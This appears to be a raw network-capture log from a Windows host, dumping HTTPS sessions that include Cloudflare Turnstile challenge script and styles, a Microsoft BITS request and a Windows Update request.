2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 43 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4e 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 55 7c 7c 28 55 3d 7b 7d 29 29 3b 76 61 72 20 56 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 4f 52 4d 41 4c 3d 22 6e 6f 72 6d 61 6c 22 Data Ascii: ked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ct=300020;var Ne=300030;var U;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(U\|\|(U={}));var V;(function(e){e.NORMAL="normal"
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 6d 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 6d 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 Data Ascii: tring"&&vr.test(e)}var mr=/^[a-z0-9_\-=]{0,255}$/i;function Ze(e){return e===void 0?!0:typeof e=="string"&&mr.test(e)}function et(e){return N(["normal","compact","invisible"],e)}function tt(e){return N(["auto","manual","never"],e)}function rt(e){return N(
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 73 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 61 29 7b Data Ascii: turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(a,"/").concat(r.theme,"/").concat(r.size).concat(s)}function Le(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function qt(e,a){
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 47 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 61 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 61 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 61 2e 67 65 74 28 6f 29 3b 61 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 62 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 74 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 Data Ascii: ion(o){if(o===null\|\|!Gt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof a!="undefined"){if(a.has(o))return a.get(o);a.set(o,c)}function c(){return be(o,arguments,te(this).constructor)
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 61 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 61 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 61 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 Data Ascii: Turnstile script tag, some features may not be available",43777);var a={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(a.loadedAsync=!0);var r=e.src,o=r.split("?");return o.length>1&&(a.params=new URLSearchParams(o[1])),a}function D(){ret
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 22 2c 68 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 68 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 68 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 31 30 70 78 22 2c 68 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 31 32 32 70 78 22 2c 68 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 31 70 78 22 2c 68 2e 73 74 79 6c 65 2e 6f 76 65 Data Ascii: ",h.style.position="absolute",h.style.zIndex="21474836420",h.style.borderWidth="1px",h.style.borderColor="#000",h.style.borderStyle="solid",h.style.backgroundColor="#ffffff",h.style.borderRadius="10px",h.style.left="-122px",h.style.top="-91px",h.style.ove
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c 22 35 22 29 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a 2f 2f 77 Data Ascii: .setAttribute("stroke-width","3"),t.setAttribute("stroke","#fff"),t.setAttribute("fill","none"),t.setAttribute("x1","6"),t.setAttribute("x2","18"),t.setAttribute("y1","18"),t.setAttribute("y2","5"),n.appendChild(t);var f=document.createElementNS("http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	2.19.244.127	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:05 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 08:31:06 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=27529 Date: Thu, 23 May 2024 08:31:05 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:05 UTC	787	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:05 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79406 Connection: close permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' document-policy: js-profiling referrer-policy: same-origin cross-origin-resource-policy: cross-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin origin-agent-cluster: ?1
2024-05-23 08:31:05 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 38 33 62 30 30 65 30 65 39 61 34 33 37 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8883b00e0e9a437b-EWRalt-svc: h3=":443"; ma=86400
2024-05-23 08:31:05 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-05-23 08:31:05 UTC	1369	IN	Data Raw: 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 Data Ascii: 00%; height: 100%; overflow: hidden;}body { margin: 0; background-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont,
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 Data Ascii: miterlimit: 10;}#success-icon { display: flex; margin-right: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width:
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .cb-lb .cb-i { border: 2px solid #dadada; background-color: #222;}.theme-dark
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c Data Ascii: border-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited,
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 Data Ascii: color: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-ov
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 62 2d 6c 62 2d 74 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 62 2d 6c 62 2d 74 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 Data Ascii: t:active ~ span.cb-lb-t { text-decoration: underline;}.cb-lb input:focus ~ .cb-i { border: 2px solid #c44d0e;}.cb-lb input:focus ~ span.cb-lb-t { text-decoration: underline;}.cb-lb input:checked ~ .cb-i { transform: rotate(0deg) scale(1);
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 31 36 70 78 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 Data Ascii: .size-compact .cb-container { margin-top: 3px; margin-left: 0;}.size-compact #branding { display: flex; flex-flow: row-reverse wrap; place-content: center flex-start; align-items: center; margin: 5px 16px 0; padding-right: 0; text-alig
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 66 2d 73 74 61 67 65 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 34 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 Data Ascii: t: 0; width: 90px; text-align: center;}.rtl .size-compact #branding { padding-right: 0; padding-left: 0; text-align: center;}.rtl .size-compact #terms { text-align: center;}.rtl .size-compact #cf-stage { padding-right: 48px;}.rtl .si

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:06 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EyWPgkl6brmHmv3&MD=UKBhH+X2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-23 08:31:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 478fae8e-423d-493a-ad72-5c53af3808ab MS-RequestId: 229e9ecb-c7ea-4ed5-9734-73853cc53cbe MS-CV: tGFUwwuN6UuqMuDn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 08:31:06 GMT Connection: close Content-Length: 24490
